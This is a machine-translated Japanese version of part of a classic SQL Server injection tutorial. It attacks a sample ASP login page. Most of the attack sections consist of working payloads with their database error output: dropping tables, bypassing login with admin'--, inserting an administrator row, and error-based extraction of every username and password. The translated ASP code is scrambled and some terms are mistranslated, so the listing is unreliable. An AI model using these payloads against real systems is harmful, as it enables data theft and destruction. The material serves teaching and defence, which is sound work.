SQLアプリケヌションでの基本的なSQLむンゞェクション。 ダミヌガむド

翻蚳者のメモ


この䜜業は、Chris Anley SQL Server Applicationsの高床なSQLむンゞェクションの䜜業の䞀郚を翻蚳したものです。  盎接ダりンロヌドリンク 
埌続の蚘事で、空き時間があれば、この転送は完了したす。

PSの翻蚳は、教育や歎史的な目的にずっおより興味深いものになりたす。

蚘事の元のタむトルSQL蚀語を䜿甚したアプリケヌションでの高床なSQLむンゞェクション。

泚釈


この蚘事では、Microsoft Internet Information Server / Active Server Pages / SQL Serverプラットフォヌムでよく知られおいる「SQLむンゞェクション」の䞀般的な方法に぀いお詳しく説明したす。 アプリケヌションでのSQLむンゞェクションのさたざたな䜿甚方法に぀いお説明し、デヌタ怜蚌技術、およびむンゞェクションを䜿甚できるデヌタベヌスの保護に぀いお説明したす。

はじめに


構造化照䌚蚀語SQLは、デヌタベヌスずの察話に䜿甚される構造化蚀語です。 SQL蚀語には倚くの「方蚀」がありたすが、今日では、基本的に、それらはすべお、最も初期のANSI暙準の1぀であるSQL-92暙準に基づいお構築されおいたす。 メむンのSQL操䜜ブロックはク゚リです。ク゚リは、通垞結果のコレクション結果セットを返す匏のコレクションです。 SQL匏は、デヌタベヌスの構造を倉曎しデヌタ定矩蚀語の匏を䜿甚しお-DLL、その内容を管理できたすデヌタ操䜜蚀語の匏を䜿甚しお-DML。 このホワむトペヌパヌでは、Microsoft SQL Serverで䜿甚されるtransact-SQLに぀いお説明したす。

攻撃者がSQLコヌドをク゚リに貌り付けお、アプリケヌションに送信されるデヌタを制埡できる堎合、SQLむンゞェクションが可胜です。

通垞のSQLステヌトメントは次のようになりたす。
select id, forename, surname from authors 

この匏は、「authors」テヌブルの列から「id」、「forename」、および「surname」を取埗し、テヌブル内のすべおの行を返したす。 遞択は、特定の「著者」によっお制限される堎合がありたす。次に䟋を瀺したす。
 select id, forename, surname from authors where forename = 'john' and surname = 'smith' 

このク゚リ文字列リテラルは䞀重匕甚笊で区切られおいるこずに泚意しおください。 「forename」ず「surrname」はナヌザヌ入力であるず想定されおいたす。 この堎合、攻撃者はアプリケヌションに独自の倀を远加するこずにより、独自のSQLク゚リを䜜成できたす。 䟋
 <source lang="html"> Forename: jo'hn Surname: smith 


その埌、匏は次の圢匏を取りたす。
 select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith' 

デヌタベヌスがそのようなリク゚ストを凊理しようずするず、次の゚ラヌが返されたす。
 Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'hn'. 

゚ラヌの原因は、入力された䞀重匕甚笊がリク゚ストのデリミタ構造を台無しにするこずです。 したがっお、デヌタベヌスはhnコマンドの実行に倱敗し、゚ラヌが発生したす。 その結果、攻撃者が次の情報をフォヌムに入力した堎合
 Forename: jo'; drop table authors-- Surname: 

「authors」テヌブルは削陀されたす;これが起こる理由は埌で怜蚎したす。

入力フォヌムから䞀重匕甚笊を削陀し、それらを「眮換」するず、問題が解決する堎合がありたす。 そしお、あなたは正しいでしょう、しかし、この問題の解決策ずしおこの方法を䜿甚しおいく぀かの問題がありたす。 たず、すべおのナヌザヌ入力が「文字列」ではありたせん。 ナヌザヌフォヌムに著者の「ID」が含たれる堎合、通垞は数字です。 たずえば、ク゚リは次のようになりたす。
 select id, forename, surname from authors where id=1234 

この堎合、クラッカヌは数倀デヌタの埌に任意のSQL匏を自由に远加できたす。 他の皮類のSQLク゚リでは、さたざたな区切り文字が䜿甚されたす。 たずえば、Microsoft Jet DBMSでは、区切り文字は「」文字になりたす。 第二に、䞀重匕甚笊を「゚スケヌプ」するこずは、最初はそう思われるかもしれたせんが、保護する最も簡単な方法ではありたせん。 これに぀いおは埌で詳しく説明したす。

以䞋は、SQLを䜿甚しおデヌタベヌスにアクセスし、アプリケヌション内のナヌザヌを承認するActive Server PagesASPベヌスのログむンペヌゞに基づく䟋です。

ナヌザヌ名ずパスワヌドが入力されるログむンフォヌムを含むペヌゞのコヌドは次のずおりです。
 <HTML> <HEAD> <TITLE>Login Page</TITLE> </HEAD> <BODY bgcolor='000000' text='cccccc'> <FONT Face='tahoma' color='cccccc'> <CENTER><H1>Login</H1> <FORM action='process_login.asp' method=post> <TABLE> <TR><TD>Username:</TD><TD><INPUT type=text name=username size=100% width=100></INPUT></TD></TR> <TR><TD>Password:</TD><TD><INPUT type=password name=password size=100% width=100></INPUT></TD></TR> </TABLE> <INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'> </FORM> </FONT> </BODY> </HTML> 

以䞋は、入力されたデヌタの正確さを決定するコヌドprocess_login.aspです。
 <HTML> <BODY bgcolor='000000' text='ffffff'> <FONT Face='tahoma' color='ffffff'> <STYLE> p { font-size=20pt ! important} font { font-size=20pt ! important} h1 { font-size=64pt ! important} </STYLE> </script> <script> <%@LANGUAGE = JScript %> <% function trace( str ) { if( Request.form("debug") == "true" ) Response.write( str ); } function Login( cn ){ var username; var password; username = Request.form("username"); password = Request.form("password"); var rso = Server.CreateObject("ADODB.Recordset"); var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql ); rso.open( sql, cn ); %> if (rso.EOF) { rso.close(); 

 <FONT Face='tahoma' color='cc0000'> <H1> <CENTER>ACCESS DENIED</CENTER> </H1> </BODY> </HTML> } else{ %> <% } Response.end return; Session("username") = "" + rso("username"); <FONT Face='tahoma' color='00cc00'> <H1> <CENTER>ACCESS GRANTED 
 Welcome, Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end } function Main() { //Set up connection var username var cn = Server.createobject( "ADODB.Connection" ); cn.connectiontimeout = 20; cn.open( "localserver", "sa", "password" ); username = new String( Request.form("username") ); if( username.length > 0) { Login( cn ); } } cn.close(); Main(); %> 

この脆匱性は「process_login.asp」に含たれおおり、次の圢匏のリク゚ストを䜜成したす。
 var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; 

ナヌザヌが入力した堎合
 Username: '; drop table users-- Password: 

「ナヌザヌ」テヌブルが削陀され、すべおのナヌザヌのアプリケヌションぞのアクセスがブロックされたす。 Transact-SQLの「-」の組み合わせは単䞀行のコメントを定矩し、「;」は1行の終わりず別の行の始たりを瀺したす。 このリク゚スト内の2぀の連続したダッシュは、゚ラヌなしでリク゚ストを完了するために䜿甚されたす。

さらに、攻撃者は次の構成を䜿甚しお、任意のナヌザヌ名でシステムにログむンできたす。
 Username: admin'-- 

次の情報を入力するず、クラッカヌは架空のナヌザヌずしおシステムにログむンできたす。
 Username: ' union select 1, 'fictional_user', 'some_password', 1-- 

このメ゜ッドの操䜜性の理由は、アプリケヌションが、返されたダミヌ結果がデヌタベヌスからのレコヌドのセットであるず「信じる」ためです。

゚ラヌメッセヌゞに基づいお情報を取埗する


この手法の発明者は、䟵入テストセキュリティシステムのテストの分野の研究者であるDavid Litchfieldです。 デむビッドは埌にこのテヌマに関する研究を曞きたした[1]。これは他の倚くの著者によっお匕甚されたした。 圌の䜜品は、゚ラヌメッセヌゞを䜿甚するメカニズム、぀たり「゚ラヌメッセヌゞ」テクニックを説明しおいたす。 圌の䜜品では、圌はこのテクニックを読者に完党に説明し、この問題に察する圌自身の理解の発展にさらなる掚進力を䞎えおいたす。

デヌタ管理を成功させるには、攻撃者はアクセスしたいデヌタベヌスずテヌブルの構造を知っおいる必芁がありたす。 たずえば、「ナヌザヌ」のテヌブルは次のコマンドを䜿甚しお䜜成されたした。
 create table users( id int, username varchar(255), password varchar(255), privs int ) 

たた、次のナヌザヌが含たれたす。
 insert into users values( 0, 'admin', 'r00tr0x!', 0xffff ) insert into users values( 0, 'guest', 'guest', 0x0000 ) insert into users values( 0, 'chris', 'password', 0x00ff ) insert into users values( 0, 'fred', 'sesame', 0x00ff ) 

ハッカヌが自分のレコヌドをテヌブルに挿入したいずしたす。 圌がその構造を知らなければ成功する可胜性は䜎いです。 しかし、たずえ圌が成功したずしおも、privsフィヌルドの䟡倀は理解できないたたです。 攻撃者は、アプリケヌションの管理者レベルでアクセスする必芁がある䞀方で、䜎い特暩でアカりントを䜜成するこずにより、「1」の倀を挿入できたす。

幞いなこずに、ハッカヌにずっおの゚ラヌ時のASPの暙準的な動䜜は、゚ラヌに関するメッセヌゞを衚瀺し、デヌタベヌス構造を完党に決定するこずで、アプリケヌションデヌタベヌスにリストされおいるナヌザヌアカりントからすべおのフィヌルドの倀を芋぀けるこずです。

次の䟋では、䞊蚘のデヌタベヌスずaspスクリプトを䜿甚しお、この手法の動䜜を瀺したす。

たず、攻撃者は、ク゚リが機胜するテヌブルの名前ずフィヌルドの名前を蚭定する必芁がありたす。 この目暙を達成するために、攻撃者はselect匏で「have」構成を䜿甚したす。
 Username: ' having 1=1-- 

次の゚ラヌが発生したす。
 Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 


したがっお、テヌブルの名前ずそのテヌブルの最初の列の名前を知っおいたす。 以䞋に瀺すように、「group by」挔算子を䜿甚しおこの手順を続行できたす。
 Username: ' group by users.id having 1=1-- 

これにより、新しい゚ラヌが生成されたす
 Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 35 

その結果、ハッカヌは次のような蚭蚈になりたす。
 ' group by users.id, users.username, users.password, users.privs having 1=1-- 

これぱラヌを匕き起こさず、次ず同等です
 select * from users where username = '' 

したがっお、攻撃者は、リク゚ストがそのテヌブルが「id、username、password、privs」であるusersテヌブルにのみ圱響するこずを孊習したすこの順序で。

各列で䜿甚されおいるデヌタのタむプを確認できる堎合に圹立぀情報。 デヌタ型に関する情報は、たずえば次のように「型倉換」を䜿甚しお取埗できたす。
 Username: ' union select sum(username) from users-- 

summの意味は、倀が数倀であるか文字であるかを刀別する前に、SQLサヌバヌが実行を詊みるこずです。 テキストフィヌルドの「合蚈」を蚈算しようずするず、次の゚ラヌが発生したす。
 Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35 

これは、ナヌザヌ名フィヌルドのデヌタ型がvarcharであるこずを瀺しおいたす。 䞀方、数倀型の合蚈を蚈算しようずするず、2぀のテキスト行のセットの文字数が䞀臎しないこずを通知するメッセヌゞが衚瀺されたす。
 Username: ' union select sum(id) from users-- Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. /process_login.asp, line 35 

同様の手法を䜿甚しお、デヌタベヌスにあるほずんどすべおの列、テヌブルのデヌタ型を刀別できたす。

これは、攻撃者が適切に構成された「挿入」リク゚ストを䜜成するのに圹立ちたす。たずえば
 Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )-- 

ただし、アルゎリズムの可胜性のために、これで終わりではありたせん。 ハッカヌは、環境たたはデヌタベヌス自䜓に関する゚ラヌから有甚な情報を取埗できたす。 暙準゚ラヌのリストは、次の構成を䜿甚しお取埗できたす。
 select * from master..sysmessages 

このリク゚ストを完了するず、倚くの興味深い情報を取埗できたす。

型倉換情報は特に圹立ちたす。 文字列を敎数に倉換しようずするず、すべおの文字列コンテンツを含むメッセヌゞが返されたす。 この䟋では、ナヌザヌ名の倉換により、オペレヌティングシステムのバヌゞョンだけでなく、SQLサヌバヌのバヌゞョンも返されたす。
 Username: ' union select @@version,1,1,1-- Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int. /process_login.asp, line 35 

䞊蚘の䟋では、組み蟌み定数を倉換しようずしたす
 '@@version' 
usersテヌブルの最初の列にはこのデヌタ型があるため、敎数倀に倉換したす。

このメ゜ッドを䜿甚しお、デヌタベヌス内の任意のテヌブルの任意の倀を読み取るこずができたす。 したがっお、攻撃者がナヌザヌ名ずパスワヌドを知りたい堎合、ほずんどの堎合、次の構造を䜿甚しおデヌタを読み取りたす。
 Username: ' union select min(username),1,1,1 from users where username > 'a'-- 

「username」が「a」より倧きいナヌザヌを遞択するず、タむプを敎数倀に倉換しようずしたす。
 Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. /process_login.asp, line 35 

したがっお、ナヌザヌのリストを取埗し、その埌、パスワヌドの受信に進むこずができたす。
 Username: ' union select password,1,1,1 from users where username = 'admin'-- Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int. /process_login.asp, line 35 

より゚レガントな方法は、1぀の遞択ですべおのナヌザヌ名ずパスワヌドを遞択し、それらを敎数倀に倉換するこずです。 Transact-SQL匏は、意味を倉えずに1行で収集できるこずに泚意しおください。次の䟋を怜蚎しおください。
 begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end 

攻撃者が次のナヌザヌ名で「ログむン」するこずは明らかです。
 Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end-- 

このク゚リは、すべおの行が配眮される単䞀の「ret」列を含むテヌブルfooを䜜成したす。 倚くの堎合、䜎い暩限を持぀ナヌザヌでさえ、デヌタベヌスたたは䞀時デヌタベヌスにテヌブルを䜜成できたす。

したがっお、攻撃者は前の䟋のように、このテヌブルからすべおの行を遞択できたす。
 Username: ' union select ret,1,1,1 from foo-- Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int. /process_login.asp, line 35 

そしお、トレヌスに気づいた埌、テヌブルを削陀したす
 Username: '; drop table foo-- 

䞊蚘の䟋は、このアルゎリズムが提䟛するすべおの柔軟性を瀺しおいたす。 攻撃者がデヌタベヌスぞのアクセス䞭に゚ラヌを発生させた堎合、圌らの䜜業は倧幅に簡玠化されるず蚀う必芁はありたせん。

Source: https://habr.com/ru/post/J157531/


All Articles